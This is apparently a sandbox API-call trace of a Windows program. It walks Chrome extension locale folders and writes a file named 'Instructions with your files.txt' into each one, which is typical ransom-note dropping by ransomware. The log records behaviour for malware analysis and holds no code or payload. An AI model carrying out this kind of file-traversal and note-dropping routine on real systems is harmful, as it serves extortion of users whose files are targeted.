[0130.045] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.046] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.046] CloseHandle (hObject=0x134) returned 1
[0130.046] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.046] GetProcessHeap () returned 0x810000
[0130.046] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.046] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
[0130.046] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs") returned 141
[0130.046] GetProcessHeap () returned 0x810000
[0130.046] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.046] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\*") returned 143
[0130.046] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.047] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\.") returned 143
[0130.047] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.047] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\..") returned 144
[0130.047] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.047] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\messages.json") returned 155
[0130.047] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.047] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.047] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\Instructions with your files.txt") returned 174
[0130.047] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\cs\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.048] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.048] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.048] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.049] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.049] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.049] CloseHandle (hObject=0x134) returned 1
[0130.049] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.049] GetProcessHeap () returned 0x810000
[0130.049] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.049] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
[0130.049] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da") returned 141
[0130.049] GetProcessHeap () returned 0x810000
[0130.049] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.049] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\*") returned 143
[0130.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.050] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\.") returned 143
[0130.050] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.050] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\..") returned 144
[0130.050] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.050] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json") returned 155
[0130.050] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.050] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86aba9b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86abb180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.051] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\Instructions with your files.txt") returned 174
[0130.051] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.051] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.052] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.052] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.052] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.052] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.052] CloseHandle (hObject=0x134) returned 1
[0130.052] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.052] GetProcessHeap () returned 0x810000
[0130.052] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.052] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
[0130.052] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de") returned 141
[0130.052] GetProcessHeap () returned 0x810000
[0130.052] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.052] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\*") returned 143
[0130.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.053] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\.") returned 143
[0130.053] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.053] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\..") returned 144
[0130.053] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xef, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.053] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json") returned 155
[0130.054] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.054] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xef, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.054] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\Instructions with your files.txt") returned 174
[0130.054] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.054] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.055] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.055] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.055] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.055] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.056] CloseHandle (hObject=0x134) returned 1
[0130.056] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.056] GetProcessHeap () returned 0x810000
[0130.056] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.056] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
[0130.056] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el") returned 141
[0130.056] GetProcessHeap () returned 0x810000
[0130.056] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.056] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\*") returned 143
[0130.056] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.057] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\.") returned 143
[0130.057] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.057] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\..") returned 144
